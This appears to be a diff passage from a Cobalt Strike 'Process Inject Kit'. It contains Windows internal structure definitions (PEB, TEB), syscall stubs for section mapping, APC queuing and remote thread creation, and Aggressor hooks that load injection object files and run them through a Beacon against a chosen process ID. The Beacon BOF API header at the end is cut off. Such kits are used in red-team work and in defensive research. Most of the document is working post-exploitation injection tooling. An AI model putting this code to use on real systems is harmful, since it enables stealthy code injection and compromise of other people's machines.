ULONG DebugFlags;
|
||||
|
||||
HANDLE ConsoleHandle;
|
||||
ULONG ConsoleFlags;
|
||||
HANDLE StandardInput;
|
||||
HANDLE StandardOutput;
|
||||
HANDLE StandardError;
|
||||
|
||||
CURDIR CurrentDirectory;
|
||||
UNICODE_STRING DllPath;
|
||||
UNICODE_STRING ImagePathName;
|
||||
UNICODE_STRING CommandLine;
|
||||
PVOID Environment;
|
||||
|
||||
ULONG StartingX;
|
||||
ULONG StartingY;
|
||||
ULONG CountX;
|
||||
ULONG CountY;
|
||||
ULONG CountCharsX;
|
||||
ULONG CountCharsY;
|
||||
ULONG FillAttribute;
|
||||
|
||||
ULONG WindowFlags;
|
||||
ULONG ShowWindowFlags;
|
||||
UNICODE_STRING WindowTitle;
|
||||
UNICODE_STRING DesktopInfo;
|
||||
UNICODE_STRING ShellInfo;
|
||||
UNICODE_STRING RuntimeData;
|
||||
RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS];
|
||||
|
||||
ULONG_PTR EnvironmentSize;
|
||||
ULONG_PTR EnvironmentVersion;
|
||||
|
||||
PVOID PackageDependencyData;
|
||||
ULONG ProcessGroupId;
|
||||
ULONG LoaderThreads;
|
||||
|
||||
UNICODE_STRING RedirectionDllName; // REDSTONE4
|
||||
UNICODE_STRING HeapPartitionName; // 19H1
|
||||
ULONG_PTR DefaultThreadpoolCpuSetMasks;
|
||||
ULONG DefaultThreadpoolCpuSetMaskCount;
|
||||
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
|
||||
|
||||
typedef struct _PEB
|
||||
{
|
||||
BOOLEAN InheritedAddressSpace;
|
||||
BOOLEAN ReadImageFileExecOptions;
|
||||
BOOLEAN BeingDebugged;
|
||||
union
|
||||
{
|
||||
BOOLEAN BitField;
|
||||
struct
|
||||
{
|
||||
BOOLEAN ImageUsesLargePages : 1;
|
||||
BOOLEAN IsProtectedProcess : 1;
|
||||
BOOLEAN IsImageDynamicallyRelocated : 1;
|
||||
BOOLEAN SkipPatchingUser32Forwarders : 1;
|
||||
BOOLEAN IsPackagedProcess : 1;
|
||||
BOOLEAN IsAppContainer : 1;
|
||||
BOOLEAN IsProtectedProcessLight : 1;
|
||||
BOOLEAN IsLongPathAwareProcess : 1;
|
||||
} s1;
|
||||
} u1;
|
||||
|
||||
HANDLE Mutant;
|
||||
|
||||
PVOID ImageBaseAddress;
|
||||
PPEB_LDR_DATA Ldr;
|
||||
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
|
||||
PVOID SubSystemData;
|
||||
PVOID ProcessHeap;
|
||||
PRTL_CRITICAL_SECTION FastPebLock;
|
||||
PVOID AtlThunkSListPtr;
|
||||
PVOID IFEOKey;
|
||||
union
|
||||
{
|
||||
ULONG CrossProcessFlags;
|
||||
struct
|
||||
{
|
||||
ULONG ProcessInJob : 1;
|
||||
ULONG ProcessInitializing : 1;
|
||||
ULONG ProcessUsingVEH : 1;
|
||||
ULONG ProcessUsingVCH : 1;
|
||||
ULONG ProcessUsingFTH : 1;
|
||||
ULONG ProcessPreviouslyThrottled : 1;
|
||||
ULONG ProcessCurrentlyThrottled : 1;
|
||||
ULONG ReservedBits0 : 25;
|
||||
} s2;
|
||||
} u2;
|
||||
union
|
||||
{
|
||||
PVOID KernelCallbackTable;
|
||||
PVOID UserSharedInfoPtr;
|
||||
} u3;
|
||||
ULONG SystemReserved[1];
|
||||
ULONG AtlThunkSListPtr32;
|
||||
PVOID ApiSetMap;
|
||||
ULONG TlsExpansionCounter;
|
||||
PVOID TlsBitmap;
|
||||
ULONG TlsBitmapBits[2];
|
||||
|
||||
PVOID ReadOnlySharedMemoryBase;
|
||||
PVOID SharedData; // HotpatchInformation
|
||||
PVOID* ReadOnlyStaticServerData;
|
||||
|
||||
PVOID AnsiCodePageData; // PCPTABLEINFO
|
||||
PVOID OemCodePageData; // PCPTABLEINFO
|
||||
PVOID UnicodeCaseTableData; // PNLSTABLEINFO
|
||||
|
||||
ULONG NumberOfProcessors;
|
||||
ULONG NtGlobalFlag;
|
||||
|
||||
LARGE_INTEGER CriticalSectionTimeout;
|
||||
SIZE_T HeapSegmentReserve;
|
||||
SIZE_T HeapSegmentCommit;
|
||||
SIZE_T HeapDeCommitTotalFreeThreshold;
|
||||
SIZE_T HeapDeCommitFreeBlockThreshold;
|
||||
|
||||
ULONG NumberOfHeaps;
|
||||
ULONG MaximumNumberOfHeaps;
|
||||
PVOID* ProcessHeaps; // PHEAP
|
||||
|
||||
PVOID GdiSharedHandleTable;
|
||||
PVOID ProcessStarterHelper;
|
||||
ULONG GdiDCAttributeList;
|
||||
|
||||
PRTL_CRITICAL_SECTION LoaderLock;
|
||||
|
||||
ULONG OSMajorVersion;
|
||||
ULONG OSMinorVersion;
|
||||
USHORT OSBuildNumber;
|
||||
USHORT OSCSDVersion;
|
||||
ULONG OSPlatformId;
|
||||
ULONG ImageSubsystem;
|
||||
ULONG ImageSubsystemMajorVersion;
|
||||
ULONG ImageSubsystemMinorVersion;
|
||||
ULONG_PTR ActiveProcessAffinityMask;
|
||||
GDI_HANDLE_BUFFER GdiHandleBuffer;
|
||||
PVOID PostProcessInitRoutine;
|
||||
|
||||
PVOID TlsExpansionBitmap;
|
||||
ULONG TlsExpansionBitmapBits[32];
|
||||
|
||||
ULONG SessionId;
|
||||
|
||||
ULARGE_INTEGER AppCompatFlags;
|
||||
ULARGE_INTEGER AppCompatFlagsUser;
|
||||
PVOID pShimData;
|
||||
PVOID AppCompatInfo; // APPCOMPAT_EXE_DATA
|
||||
|
||||
UNICODE_STRING CSDVersion;
|
||||
|
||||
PVOID ActivationContextData; // ACTIVATION_CONTEXT_DATA
|
||||
PVOID ProcessAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP
|
||||
PVOID SystemDefaultActivationContextData; // ACTIVATION_CONTEXT_DATA
|
||||
PVOID SystemAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP
|
||||
|
||||
SIZE_T MinimumStackCommit;
|
||||
|
||||
PVOID* FlsCallback;
|
||||
LIST_ENTRY FlsListHead;
|
||||
PVOID FlsBitmap;
|
||||
ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)];
|
||||
ULONG FlsHighIndex;
|
||||
|
||||
PVOID WerRegistrationData;
|
||||
PVOID WerShipAssertPtr;
|
||||
PVOID pUnused; // pContextData
|
||||
PVOID pImageHeaderHash;
|
||||
union
|
||||
{
|
||||
ULONG TracingFlags;
|
||||
struct
|
||||
{
|
||||
ULONG HeapTracingEnabled : 1;
|
||||
ULONG CritSecTracingEnabled : 1;
|
||||
ULONG LibLoaderTracingEnabled : 1;
|
||||
ULONG SpareTracingBits : 29;
|
||||
} s3;
|
||||
} u4;
|
||||
ULONGLONG CsrServerReadOnlySharedMemoryBase;
|
||||
PVOID TppWorkerpListLock;
|
||||
LIST_ENTRY TppWorkerpList;
|
||||
PVOID WaitOnAddressHashTable[128];
|
||||
PVOID TelemetryCoverageHeader; // REDSTONE3
|
||||
ULONG CloudFileFlags;
|
||||
} PEB, *PPEB;
|
||||
|
||||
typedef enum _PS_ATTRIBUTE_NUM
|
||||
{
|
||||
PsAttributeParentProcess, // in HANDLE
|
||||
PsAttributeDebugPort, // in HANDLE
|
||||
PsAttributeToken, // in HANDLE
|
||||
PsAttributeClientId, // out PCLIENT_ID
|
||||
PsAttributeTebAddress, // out PTEB
|
||||
PsAttributeImageName, // in PWSTR
|
||||
PsAttributeImageInfo, // out PSECTION_IMAGE_INFORMATION
|
||||
PsAttributeMemoryReserve, // in PPS_MEMORY_RESERVE
|
||||
PsAttributePriorityClass, // in UCHAR
|
||||
PsAttributeErrorMode, // in ULONG
|
||||
PsAttributeStdHandleInfo, // in PPS_STD_HANDLE_INFO
|
||||
PsAttributeHandleList, // in PHANDLE
|
||||
PsAttributeGroupAffinity, // in PGROUP_AFFINITY
|
||||
PsAttributePreferredNode, // in PUSHORT
|
||||
PsAttributeIdealProcessor, // in PPROCESSOR_NUMBER
|
||||
PsAttributeUmsThread, // see MSDN UpdateProceThreadAttributeList (CreateProcessW) - in PUMS_CREATE_THREAD_ATTRIBUTES
|
||||
PsAttributeMitigationOptions, // in UCHAR
|
||||
PsAttributeProtectionLevel, // in ULONG
|
||||
PsAttributeSecureProcess, // since THRESHOLD (Virtual Secure Mode, Device Guard)
|
||||
PsAttributeJobList,
|
||||
PsAttributeChildProcessPolicy, // since THRESHOLD2
|
||||
PsAttributeAllApplicationPackagesPolicy, // since REDSTONE
|
||||
PsAttributeWin32kFilter,
|
||||
PsAttributeSafeOpenPromptOriginClaim,
|
||||
PsAttributeBnoIsolation,
|
||||
PsAttributeDesktopAppPolicy,
|
||||
PsAttributeMax
|
||||
} PS_ATTRIBUTE_NUM;
|
||||
|
||||
#define PS_ATTRIBUTE_NUMBER_MASK 0x0000ffff
|
||||
#define PS_ATTRIBUTE_THREAD 0x00010000 // Attribute may be used with thread creation
|
||||
#define PS_ATTRIBUTE_INPUT 0x00020000 // Attribute is input only
|
||||
#define PS_ATTRIBUTE_ADDITIVE 0x00040000 // Attribute may be "accumulated", e.g. bitmasks, counters, etc.
|
||||
|
||||
#define PsAttributeValue(Number, Thread, Input, Additive) \
|
||||
(((Number) & PS_ATTRIBUTE_NUMBER_MASK) | \
|
||||
((Thread) ? PS_ATTRIBUTE_THREAD : 0) | \
|
||||
((Input) ? PS_ATTRIBUTE_INPUT : 0) | \
|
||||
((Additive) ? PS_ATTRIBUTE_ADDITIVE : 0))
|
||||
|
||||
#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001
|
||||
#define PROCESS_CREATE_FLAGS_SUSPENDED 0x00000200
|
||||
|
||||
#define RTL_USER_PROCESS_PARAMETERS_NORMALIZED 0x01
|
||||
|
||||
#define PS_ATTRIBUTE_IMAGE_NAME \
|
||||
PsAttributeValue(PsAttributeImageName, FALSE, TRUE, FALSE)
|
||||
|
||||
#define RTL_MAX_DRIVE_LETTERS 32
|
||||
|
||||
typedef enum _PS_CREATE_STATE
|
||||
{
|
||||
PsCreateInitialState,
|
||||
PsCreateFailOnFileOpen,
|
||||
PsCreateFailOnSectionCreate,
|
||||
PsCreateFailExeFormat,
|
||||
PsCreateFailMachineMismatch,
|
||||
PsCreateFailExeName, // Debugger specified
|
||||
PsCreateSuccess,
|
||||
PsCreateMaximumStates
|
||||
} PS_CREATE_STATE;
|
||||
|
||||
typedef struct _PS_CREATE_INFO
|
||||
{
|
||||
SIZE_T Size;
|
||||
PS_CREATE_STATE State;
|
||||
union
|
||||
{
|
||||
// PsCreateInitialState
|
||||
struct
|
||||
{
|
||||
union
|
||||
{
|
||||
ULONG InitFlags;
|
||||
struct
|
||||
{
|
||||
UCHAR WriteOutputOnExit : 1;
|
||||
UCHAR DetectManifest : 1;
|
||||
UCHAR IFEOSkipDebugger : 1;
|
||||
UCHAR IFEODoNotPropagateKeyState : 1;
|
||||
UCHAR SpareBits1 : 4;
|
||||
UCHAR SpareBits2 : 8;
|
||||
USHORT ProhibitedImageCharacteristics : 16;
|
||||
} s1;
|
||||
} u1;
|
||||
ACCESS_MASK AdditionalFileAccess;
|
||||
} InitState;
|
||||
|
||||
// PsCreateFailOnSectionCreate
|
||||
struct
|
||||
{
|
||||
HANDLE FileHandle;
|
||||
} FailSection;
|
||||
|
||||
// PsCreateFailExeFormat
|
||||
struct
|
||||
{
|
||||
USHORT DllCharacteristics;
|
||||
} ExeFormat;
|
||||
|
||||
// PsCreateFailExeName
|
||||
struct
|
||||
{
|
||||
HANDLE IFEOKey;
|
||||
} ExeName;
|
||||
|
||||
// PsCreateSuccess
|
||||
struct
|
||||
{
|
||||
union
|
||||
{
|
||||
ULONG OutputFlags;
|
||||
struct
|
||||
{
|
||||
UCHAR ProtectedProcess : 1;
|
||||
UCHAR AddressSpaceOverride : 1;
|
||||
UCHAR DevOverrideEnabled : 1; // From Image File Execution Options
|
||||
UCHAR ManifestDetected : 1;
|
||||
UCHAR ProtectedProcessLight : 1;
|
||||
UCHAR SpareBits1 : 3;
|
||||
UCHAR SpareBits2 : 8;
|
||||
USHORT SpareBits3 : 16;
|
||||
} s2;
|
||||
} u2;
|
||||
HANDLE FileHandle;
|
||||
HANDLE SectionHandle;
|
||||
ULONGLONG UserProcessParametersNative;
|
||||
ULONG UserProcessParametersWow64;
|
||||
ULONG CurrentParameterFlags;
|
||||
ULONGLONG PebAddressNative;
|
||||
ULONG PebAddressWow64;
|
||||
ULONGLONG ManifestAddress;
|
||||
ULONG ManifestSize;
|
||||
} SuccessState;
|
||||
};
|
||||
} PS_CREATE_INFO, *PPS_CREATE_INFO;
|
||||
|
||||
|
||||
typedef struct _TEB
|
||||
{
|
||||
NT_TIB NtTib;
|
||||
|
||||
PVOID EnvironmentPointer;
|
||||
CLIENT_ID ClientId;
|
||||
PVOID ActiveRpcHandle;
|
||||
PVOID ThreadLocalStoragePointer;
|
||||
PPEB ProcessEnvironmentBlock;
|
||||
|
||||
ULONG LastErrorValue;
|
||||
ULONG CountOfOwnedCriticalSections;
|
||||
PVOID CsrClientThread;
|
||||
PVOID Win32ThreadInfo;
|
||||
ULONG User32Reserved[26];
|
||||
ULONG UserReserved[5];
|
||||
PVOID WOW32Reserved;
|
||||
LCID CurrentLocale;
|
||||
ULONG FpSoftwareStatusRegister;
|
||||
PVOID ReservedForDebuggerInstrumentation[16];
|
||||
#ifdef _WIN64
|
||||
PVOID SystemReserved1[30];
|
||||
#else
|
||||
PVOID SystemReserved1[26];
|
||||
#endif
|
||||
CHAR PlaceholderCompatibilityMode;
|
||||
CHAR PlaceholderReserved[11];
|
||||
ULONG ProxiedProcessId;
|
||||
ACTIVATION_CONTEXT_STACK ActivationStack;
|
||||
|
||||
UCHAR WorkingOnBehalfTicket[8];
|
||||
NTSTATUS ExceptionCode;
|
||||
|
||||
PACTIVATION_CONTEXT_STACK ActivationContextStackPointer;
|
||||
ULONG_PTR InstrumentationCallbackSp;
|
||||
ULONG_PTR InstrumentationCallbackPreviousPc;
|
||||
ULONG_PTR InstrumentationCallbackPreviousSp;
|
||||
#ifdef _WIN64
|
||||
ULONG TxFsContext;
|
||||
#endif
|
||||
BOOLEAN InstrumentationCallbackDisabled;
|
||||
#ifndef _WIN64
|
||||
UCHAR SpareBytes[23];
|
||||
ULONG TxFsContext;
|
||||
#endif
|
||||
GDI_TEB_BATCH GdiTebBatch;
|
||||
CLIENT_ID RealClientId;
|
||||
HANDLE GdiCachedProcessHandle;
|
||||
ULONG GdiClientPID;
|
||||
ULONG GdiClientTID;
|
||||
PVOID GdiThreadLocalInfo;
|
||||
ULONG_PTR Win32ClientInfo[62];
|
||||
PVOID glDispatchTable[233];
|
||||
ULONG_PTR glReserved1[29];
|
||||
PVOID glReserved2;
|
||||
PVOID glSectionInfo;
|
||||
PVOID glSection;
|
||||
PVOID glTable;
|
||||
PVOID glCurrentRC;
|
||||
PVOID glContext;
|
||||
|
||||
NTSTATUS LastStatusValue;
|
||||
UNICODE_STRING StaticUnicodeString;
|
||||
WCHAR StaticUnicodeBuffer[261];
|
||||
|
||||
PVOID DeallocationStack;
|
||||
PVOID TlsSlots[64];
|
||||
LIST_ENTRY TlsLinks;
|
||||
|
||||
PVOID Vdm;
|
||||
PVOID ReservedForNtRpc;
|
||||
PVOID DbgSsReserved[2];
|
||||
|
||||
ULONG HardErrorMode;
|
||||
#ifdef _WIN64
|
||||
PVOID Instrumentation[11];
|
||||
#else
|
||||
PVOID Instrumentation[9];
|
||||
#endif
|
||||
GUID ActivityId;
|
||||
|
||||
PVOID SubProcessTag;
|
||||
PVOID PerflibData;
|
||||
PVOID EtwTraceData;
|
||||
PVOID WinSockData;
|
||||
ULONG GdiBatchCount;
|
||||
|
||||
union
|
||||
{
|
||||
PROCESSOR_NUMBER CurrentIdealProcessor;
|
||||
ULONG IdealProcessorValue;
|
||||
struct
|
||||
{
|
||||
UCHAR ReservedPad0;
|
||||
UCHAR ReservedPad1;
|
||||
UCHAR ReservedPad2;
|
||||
UCHAR IdealProcessor;
|
||||
} s1;
|
||||
} u1;
|
||||
|
||||
ULONG GuaranteedStackBytes;
|
||||
PVOID ReservedForPerf;
|
||||
PVOID ReservedForOle;
|
||||
ULONG WaitingOnLoaderLock;
|
||||
PVOID SavedPriorityState;
|
||||
ULONG_PTR ReservedForCodeCoverage;
|
||||
PVOID ThreadPoolData;
|
||||
PVOID* TlsExpansionSlots;
|
||||
#ifdef _WIN64
|
||||
PVOID DeallocationBStore;
|
||||
PVOID BStoreLimit;
|
||||
#endif
|
||||
ULONG MuiGeneration;
|
||||
ULONG IsImpersonating;
|
||||
PVOID NlsCache;
|
||||
PVOID pShimData;
|
||||
USHORT HeapVirtualAffinity;
|
||||
USHORT LowFragHeapDataSlot;
|
||||
HANDLE CurrentTransactionHandle;
|
||||
PTEB_ACTIVE_FRAME ActiveFrame;
|
||||
PVOID FlsData;
|
||||
|
||||
PVOID PreferredLanguages;
|
||||
PVOID UserPrefLanguages;
|
||||
PVOID MergedPrefLanguages;
|
||||
ULONG MuiImpersonation;
|
||||
|
||||
union
|
||||
{
|
||||
USHORT CrossTebFlags;
|
||||
USHORT SpareCrossTebBits : 16;
|
||||
} u2;
|
||||
union
|
||||
{
|
||||
USHORT SameTebFlags;
|
||||
struct
|
||||
{
|
||||
USHORT SafeThunkCall : 1;
|
||||
USHORT InDebugPrint : 1;
|
||||
USHORT HasFiberData : 1;
|
||||
USHORT SkipThreadAttach : 1;
|
||||
USHORT WerInShipAssertCode : 1;
|
||||
USHORT RanProcessInit : 1;
|
||||
USHORT ClonedThread : 1;
|
||||
USHORT SuppressDebugMsg : 1;
|
||||
USHORT DisableUserStackWalk : 1;
|
||||
USHORT RtlExceptionAttached : 1;
|
||||
USHORT InitialThread : 1;
|
||||
USHORT SessionAware : 1;
|
||||
USHORT LoadOwner : 1;
|
||||
USHORT LoaderWorker : 1;
|
||||
USHORT SkipLoaderInit : 1;
|
||||
USHORT SpareSameTebBits : 1;
|
||||
} s2;
|
||||
} u3;
|
||||
|
||||
PVOID TxnScopeEnterCallback;
|
||||
PVOID TxnScopeExitCallback;
|
||||
PVOID TxnScopeContext;
|
||||
ULONG LockCount;
|
||||
LONG WowTebOffset;
|
||||
PVOID ResourceRetValue;
|
||||
PVOID ReservedForWdf;
|
||||
ULONGLONG ReservedForCrt;
|
||||
GUID EffectiveContainerId;
|
||||
} TEB, *PTEB;
|
||||
|
||||
|
||||
//NtCreateUserProcess struct end
|
||||
|
||||
|
||||
EXTERN_C NTSTATUS NtCreateSection(
|
||||
OUT PHANDLE SectionHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
|
||||
IN PLARGE_INTEGER MaximumSize OPTIONAL,
|
||||
IN ULONG SectionPageProtection,
|
||||
IN ULONG AllocationAttributes,
|
||||
IN HANDLE FileHandle OPTIONAL) asm("NtCreateSection");
|
||||
|
||||
EXTERN_C NTSTATUS NtQueueApcThread(
|
||||
IN HANDLE ThreadHandle,
|
||||
IN PKNORMAL_ROUTINE ApcRoutine,
|
||||
IN PVOID ApcArgument1 OPTIONAL,
|
||||
IN PVOID ApcArgument2 OPTIONAL,
|
||||
IN PVOID ApcArgument3 OPTIONAL) asm("NtQueueApcThread");
|
||||
|
||||
EXTERN_C NTSTATUS NtOpenProcess(
|
||||
OUT PHANDLE ProcessHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
IN PCLIENT_ID ClientId OPTIONAL) asm("NtOpenProcess");
|
||||
|
||||
EXTERN_C NTSTATUS NtAlertThread(
|
||||
IN HANDLE ThreadHandle) asm("NtAlertThread");
|
||||
|
||||
EXTERN_C NTSTATUS NtUnmapViewOfSection(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PVOID BaseAddress) asm("NtUnmapViewOfSection");
|
||||
|
||||
EXTERN_C NTSTATUS NtMapViewOfSection(
|
||||
IN HANDLE SectionHandle,
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID BaseAddress,
|
||||
IN ULONG ZeroBits,
|
||||
IN SIZE_T CommitSize,
|
||||
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
|
||||
IN OUT PSIZE_T ViewSize,
|
||||
IN SECTION_INHERIT InheritDisposition,
|
||||
IN ULONG AllocationType,
|
||||
IN ULONG Win32Protect) asm("NtMapViewOfSection");
|
||||
|
||||
EXTERN_C NTSTATUS NtResumeThread(
|
||||
IN HANDLE ThreadHandle,
|
||||
IN OUT PULONG PreviousSuspendCount OPTIONAL) asm("NtResumeThread");
|
||||
|
||||
EXTERN_C NTSTATUS NtCreateThreadEx(
|
||||
OUT PHANDLE ThreadHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PVOID StartRoutine,
|
||||
IN PVOID Argument OPTIONAL,
|
||||
IN ULONG CreateFlags,
|
||||
IN SIZE_T ZeroBits,
|
||||
IN SIZE_T StackSize,
|
||||
IN SIZE_T MaximumStackSize,
|
||||
IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL) asm("NtCreateThreadEx");
|
||||
|
||||
EXTERN_C NTSTATUS NtClose(
|
||||
IN HANDLE Handle) asm("NtClose");
|
||||
|
||||
EXTERN_C NTSTATUS NtCreateUserProcess(
|
||||
OUT PHANDLE ProcessHandle,
|
||||
OUT PHANDLE ThreadHandle,
|
||||
IN ACCESS_MASK ProcessDesiredAccess,
|
||||
IN ACCESS_MASK ThreadDesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ProcessObjectAttributes OPTIONAL,
|
||||
IN POBJECT_ATTRIBUTES ThreadObjectAttributes OPTIONAL,
|
||||
IN ULONG ProcessFlags,
|
||||
IN ULONG ThreadFlags,
|
||||
IN PVOID ProcessParameters OPTIONAL,
|
||||
IN OUT PPS_CREATE_INFO CreateInfo,
|
||||
IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL) asm("NtCreateUserProcess");
|
||||
|
||||
#endif
|
||||
|
||||
void mymemcopy(char * dst, const char * src, int size) {
|
||||
int x;
|
||||
for (x = 0; x < size; x++) {
|
||||
*dst = *src;
|
||||
dst++;
|
||||
src++;
|
||||
}
|
||||
}
|
||||
|
||||
DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess(VOID);
|
||||
DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$IsWow64Process(HANDLE hProcess, PBOOL Wow64Process);
|
||||
|
||||
|
||||
NTSYSAPI VOID NTAPI NTDLL$RtlInitUnicodeString(PUNICODE_STRING DestinationString, PWSTR SourceString);
|
||||
NTSYSAPI NTSTATUS NTAPI NTDLL$RtlCreateProcessParametersEx(
|
||||
PRTL_USER_PROCESS_PARAMETERS* pProcessParameters,
|
||||
PUNICODE_STRING ImagePathName,
|
||||
PUNICODE_STRING DllPath,
|
||||
PUNICODE_STRING CurrentDirectory,
|
||||
PUNICODE_STRING CommandLine,
|
||||
PVOID Environment,
|
||||
PUNICODE_STRING WindowTitle,
|
||||
PUNICODE_STRING DesktopInfo,
|
||||
PUNICODE_STRING ShellInfo,
|
||||
PUNICODE_STRING RuntimeData,
|
||||
ULONG Flags // Pass RTL_USER_PROCESS_PARAMETERS_NORMALIZED to keep parameters normalized
|
||||
);
|
||||
#define NtCurrentPeb() (NtCurrentTeb()->ProcessEnvironmentBlock)
|
||||
#define RtlProcessHeap() (NtCurrentPeb()->ProcessHeap)
|
||||
|
||||
NTSYSAPI PVOID NTAPI NTDLL$RtlAllocateHeap(
|
||||
PVOID HeapHandle,
|
||||
ULONG Flags,
|
||||
SIZE_T Size
|
||||
);
|
||||
|
||||
NTSYSAPI BOOLEAN NTAPI NTDLL$RtlFreeHeap(
|
||||
PVOID HeapHandle,
|
||||
ULONG Flags,
|
||||
PVOID BaseAddress
|
||||
);
|
||||
|
||||
NTSYSAPI NTSTATUS NTAPI NTDLL$RtlDestroyProcessParameters(
|
||||
PRTL_USER_PROCESS_PARAMETERS ProcessParameters
|
||||
);
|
||||
@@ -0,0 +1,71 @@
|
||||
|
||||
print_info("Process Inject Kit Loaded");
|
||||
$process_inject_kit_path = iff($process_inject_kit_path eq "", script_resource(""), $process_inject_kit_path);
|
||||
|
||||
# PROCESS_INJECT_SPAWN HOOK
|
||||
# Arguments
|
||||
# $1 = Beacon ID
|
||||
# $2 = memory injectable dll (position-independent code)
|
||||
# $3 = true/false ignore process token
|
||||
# $4 = x86/x64 - memory injectable DLL arch
|
||||
|
||||
set PROCESS_INJECT_SPAWN {
|
||||
|
||||
print_info("PROCESS_INJECT_SPAWN hook");
|
||||
|
||||
local('$barch $handle $data $args $entry');
|
||||
|
||||
$barch = barch($1);
|
||||
|
||||
# read in the injection BOF based on barch
|
||||
|
||||
$pi_object = getFileProper($process_inject_kit_path, "process_inject_spawn $+ . $+ $barch $+ .o");
|
||||
|
||||
$handle = openf($pi_object);
|
||||
$data = readb($handle, -1);
|
||||
closef($handle);
|
||||
|
||||
print_info("Process Inject - " . $pi_object);
|
||||
print_info("Process Inject - Length " . strlen($data));
|
||||
|
||||
$args = bof_pack($1, "sb", $3, $2);
|
||||
|
||||
btask($1, "Process Inject using fork and run.");
|
||||
|
||||
$entry = "go $+ $4";
|
||||
beacon_inline_execute($1, $data, $entry, $args);
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
# PROCESS_INJECT_EXPLICIT HOOK
|
||||
# Arguments
|
||||
# $1 = Beacon ID
|
||||
# $2 = memory injectable dll for the post exploitation command
|
||||
# $3 = the PID to inject into
|
||||
# $4 = offset to jump to
|
||||
# $5 = x86/x64 - memory injectable DLL arch
|
||||
set PROCESS_INJECT_EXPLICIT {
|
||||
|
||||
print_info("PROCESS_INJECT_EXPLICIT hook");
|
||||
|
||||
local('$barch $handle $data $args $entry');
|
||||
|
||||
$barch = barch($1);
|
||||
$pi_object = getFileProper($process_inject_kit_path, "process_inject_explicit $+ . $+ $barch $+ .o");
|
||||
|
||||
$handle = openf($pi_object);
|
||||
$data = readb($handle, -1);
|
||||
closef($handle);
|
||||
|
||||
print_info("Process Inject - " . $pi_object);
|
||||
print_info("Process Inject - Length " . strlen($data));
|
||||
print_info("Process Inject - Target PID " . $3);
|
||||
$args = bof_pack($1, "iib", $3, $4, $2);
|
||||
|
||||
btask($1, "Process Inject using explicit injection into $3");
|
||||
|
||||
$entry = "go $+ $5";
|
||||
beacon_inline_execute($1, $data, $entry, $args);
|
||||
return 1;
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
/*
|
||||
* Beacon Object Files (BOF)
|
||||
* -------------------------
|
||||
* A Beacon Object File is a light-weight post exploitation tool that runs
|
||||
* with Beacon's inline-execute command.
|
||||
*
|
||||
* Additional BOF resources are available here:
|
||||
* - https://github.com/Cobalt-Strike/bof_template
|
||||
*
|
||||
* Cobalt Strike 4.x
|
||||
* ChangeLog:
|
||||
* 1/25/2022: updated for 4.5
|
||||
*/
|
||||
|
||||
/* data API */
|
||||
typedef struct {
|
||||
char * original; /* the original buffer [so we can free it] */
|
||||
char * buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} datap;
|
||||
|
||||
DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
|
||||
DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size);
|
||||
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
|
||||
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
|
||||
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
|
||||
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
|
||||
|
||||
/* format API */
|
||||
typedef struct {
|
||||
char * original; /* the original buffer [so we can free it] */
|
||||
char * buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} formatp;
|
||||
|
||||
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
|
||||
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
|
||||
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
|
||||
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
|
||||
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
|
||||
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
|
||||
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
|
||||
|
||||
/* Output Functions */
|
||||
#define CALLBACK_OUTPUT 0x0
|
||||
#define CALLBACK_OUTPUT_OEM 0x1e
|
||||
#define CALLBACK_OUTPUT_UTF8 0x20
|
||||
#define CALLBACK_ERROR 0x0d
|
||||
|
||||
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
|
||||
DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
|
||||
|
||||
|
||||
/* Token Functions */
|
||||
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
|
||||
DECLSPEC_IMPORT void BeaconRevertToken();
|
||||
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
|
||||
|
||||
/* Spawn+Inject Functions */
|
||||
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
|
||||
